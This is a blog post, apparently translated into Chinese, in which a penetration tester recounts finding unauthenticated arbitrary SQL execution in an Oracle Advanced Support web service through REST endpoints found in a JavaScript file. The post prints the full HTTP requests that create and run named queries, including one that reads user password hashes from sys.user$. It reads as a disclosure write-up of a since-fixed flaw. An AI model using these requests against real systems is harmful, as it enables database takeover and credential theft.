天天看點

Oracle Advanced Support系統SQL注入漏洞挖掘經驗分享

<a href="http://s1.51cto.com/wyfs02/M01/A4/CB/wKioL1mxXRjCLk5uAALOqCkK3Zc046.jpg-wh_651x-s_2234624778.jpg" target="_blank"></a>

Oracle Advanced Support系統SQL注入漏洞分析

一年多前我在客戶的一個外部環境中執行滲透測試,任何外部環境滲透測試的重要步驟之一就是挖掘出可通路的WEB服務。nmap和EveWitness的結合會令這步驟變得更快,因為我們可以進行端口掃描

并且把這些結果以螢幕截圖的形式導入到 EyeWitness中。當梳理完 EyeWitness提供的螢幕截圖頁面後,我發現了一個Oracle

進階支援服務。

<a href="http://s5.51cto.com/wyfs02/M02/06/1A/wKiom1mxXUriZtamAAC9u5jWbyI619.jpg" target="_blank"></a>

雖然我之前從沒聽過Oracle Advanced

Support,但是當我很快的google完之後,我了解到它似乎是一個允許oracle的技術支援在外部登入,并且在oracle系統環境下進行任何技術支援需要的操作的服務。有了這個資訊之後,

我們可以将現有的web應用測試與它結合起來。

我們可以對這個應用開始進行一些簡單的偵查,包括:

尋找已經被爆出的漏洞

用burp爬取應用

枚舉常見的路徑

檢視可擷取的頁面的源碼

幸運的是,我在首頁的源碼中發現了 一個包含資産目錄清單的連結。

<a href="http://s3.51cto.com/wyfs02/M00/A4/CB/wKioL1mxXXXgoM5tAAAwmLVOioc504.jpg" target="_blank"></a>

對于像這樣一個未知的應用,目錄清單是很有用的,它給我們了一些希望去發現一些很有趣 但不應該被通路到的東西 。果不其然的在搜尋每個目錄之後,我偶然發現了以下的javascript檔案:

<a href="http://s4.51cto.com/wyfs02/M02/06/1A/wKiom1mxXaOxXTUkAAA8QszlAIM709.jpg" target="_blank"></a>

讓它變得更适合閱讀一些

在Web滲透測試中,其中一個我喜歡的并且常常忽視的事情是查找應用中的javascript檔案, 并且看看他們是否支援任何POST 或者是GET請求。

我們已經發現了一個叫做sql-service.js的javascript檔案,這讓我立刻在腦海中提高起警覺來。這個檔案包含4個匿名函數其中三個t.getJSON方法的GET請求和一個t.post方法的POST請求。這些函數包含如下一些變量:

getSqlData 

createNamedSql 

getNamedSqlList 

getSqlNameList 

在這篇文章的剩餘部分,我将提及匿名函數中的變量。

每個函數的根節點都位于/rest/data路徑下。

接下來是将他們拆分之後的請求:

GET /rest/data/sql 

POST /rest/data/sql 

GET /rest/data/sql_list 

GET /rest/data/sql_name_list 

有了這些之後,開始拿出我最喜歡的代理工具:burp,看看會發生什麼!

直搗黃龍

我首先嘗試的是來自于getSqlData函數路徑是/rest/data/sql的GET請求。我們也通過觀察javascript發現這個請求需要附加一個參數,讓我們在結尾加上”test”.

HTTP Request: 

GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0  

HTTP Response: 

HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found. 

當我們把”test”加到請求url的末尾,伺服器傳回了404。同時伺服器也傳回了這樣一個資訊:Named SQL not

found。如果我們嘗試”test”之外的其他字元串,得到了同樣的傳回資訊。我們把這個請求發到Burp 的

intruder子產品,打算試圖過一個目錄清單字典來枚舉潛在的參數名,看看是否能得到除了404之外的傳回。但是有一個更簡單的方法來找到合适的參數名。如果我們再次檢視javascript,你會發現函數的名稱給我們一些有價值的資訊。我們在以下函數中發現了兩個GET請求:getNamedSqlList

和 getSqlNameList.。我們剛才的請求傳回的錯誤資訊是 Named SQL not found

error。讓我們嘗試針對getNamedSqlList函數的GET請求。

GET /rest/data/sql_list HTTP/1.1 

Host: host 

Connection: close 

Accept: application/json;charset=UTF-8 

Accept-Encoding: gzip, deflate, sdch 

Accept-Language: en-US,en;q=0.8 

Content-Type: application/json 

Content-Length: 0 

HTTP/1.1 200 OK  

Content-Type: application/json; charset=UTF-8 

Content-Length: 243633 

[{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME &gt; :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE &lt; ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) &gt; ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM&amp;nbsp;&amp;nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&amp;nbsp; scenario_id = :scenario_id AND&amp;nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RESULT_VALUE\nfrom&amp;nbsp; MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND&amp;nbsp;&amp;nbsp; package_run_id = :pkg_run_id\nAND&amp;nbsp;&amp;nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RESULT_VALUE\nFROM&amp;nbsp;&amp;nbsp; MIG_RPT_DATA_COMPRESSION_PCT\nWHERE&amp;nbsp; scenario_id = :scenario_id\nAND&amp;nbsp;&amp;nbsp;&amp;nbsp; package_run_id = :pkg_run_id\nAND engagement_id = 

… 

這的确給了我們不少的資訊,讓我們仔細分析一下,我們獲得了一組json對象,看一下數組中的第一個對象:

{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME &gt; :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]} 

我們發現了以下的屬性:name, sql, dataSourceJNDI, privileges, and paramList,其中 sql屬性是我最感興趣的因為它包含了具有字元串值的SQL語句。我們把name的值放進先前嘗試的GET請求中。

GET /rest/data/sql/sample HTTP/1.1 

Content-Type: application/json;charset=UTF-8 

HTTP/1.1 400 Bad Request  

Content-Length: 44 

Bad Request.Param value not defined for time 

Hey!我們得到一些傳回!但是我們少了一個參數,讓我們加進來。

GET /rest/data/sql/sample?time=1 HTTP/1.1 

Content-Length: 2 

雖然沒有從伺服器獲得任何傳回,但是也沒有傳回任何錯誤!難道是例子中的SQL語句被執行了,隻是沒有回顯?我們可以繼續嘗試其他的從先前請求中獲得的names,但是我們看一下原始的javascript。我們發現有一個叫做createNamedSQL的函數,它是一個POST的請求。我們知道來至于getNamedSqlList

的請求的傳回值包含了sql語句的值。也許是這個post請求會允許我們在伺服器上 執行sql查詢。我們試一下!

SQL Execution

這就是createNamedSQL中在包體裡面包含一個空json對象的POST請求:

POST /rest/data/sql HTTP/1.1 

{} 

HTTP/1.1 500 Internal Server Error 

Content-Type: text/html 

Content-Length: 71 

A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q] 

我們得到一個關于SQL_NAME列的錯誤,當我們在包體中包含空的json對象時這不是很意外。現在我們在包體裡加入一個随機的屬性名和數值。

Content-Length: 16 

{"test":1} 

Content-Type: text/plain 

Content-Length: 365 

Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])  

&amp;nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"]) 

再一次不意外的獲得了一個關于未知“test”字段的bad

request,但是如果你注意的話,這個錯誤的資訊給我們傳回了一些有用的屬性。感謝

Oracle先生的服務!這些屬性也同樣出現了從getNamedSqlList送出請求獲得的傳回中。我使用getNamedSqlList請求的傳回中其中的一個值賦給dataSourceJNDI屬性。

Content-Length: 101 

    "name": "test", 

    "sql":"select @@version", 

    "dataSourceJNDI":"jdbc/portal" 

這看起來是一個很好的測試請求,我們來見證一下 他是否有效。

HTTP/1.1 500 Internal Server Error  

Content-Length: 200 

A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI] 

我們仍然從伺服器獲得了一個錯誤傳回,但是隻傳回了content-type。SQL語句可能已經被建立了。通過把名稱字段設為“test”, 讓我們嘗試第一個具有參數的GET請求。

GET /rest/data/sql/test HTTP/1.1 

Content-Length: 24 

[{"@@version":"5.5.37"}] 

看這裡!我們獲得了一些SQL執行。

看一下“我們”是誰。

Accept: */* 

    "name": "test2", 

    "sql":"SELECT USER from dual;", 

GET /rest/data/sql/test2 HTTP/1.1 

Content-Length: 19 

[{"USER":"SYSMAN"}] 

看起來我們是SYSMAN 使用者。通過這個oracal

文檔(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm)

知道,我們就是administrator.

試一下 我們能否抓取出使用者的哈希.

Content-Length: 120 

    "name": "test3", 

    "sql":"SELECT name, password FROM sys.user$", 

GET /rest/data/sql/test3 HTTP/1.1 

Content-Length: 5357 

[{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null} 

我們可以獲得資料庫中的使用者密碼的哈希值。我編輯和删除了主要的部分。知道了我們是一個具有administrator權限的使用者,當然後續我們還可以做很多事情。然而,針對此部落格的目的,我停止下來了。

結論

關于這個匿名sql執行我聯系了oracle,他們很快的回複并且修複了這個問題。對我而言真正的問題是為什麼web服務壓根兒就允許sql語句被執行呢?

這個部落格最大的收獲是一定要看應用中的javascript檔案。在多個web應用和外網的滲透測試中,我已經發現了隐藏在javascript檔案中sql 注入,指令執行,和 xml實體注入攻擊。

作為針對熟練滲透測試者的練習任務,看完這篇部落格并且統計多少個你能确定的漏洞。提示:超過三處。

本文作者:Carpediem

來源:51CTO

繼續閱讀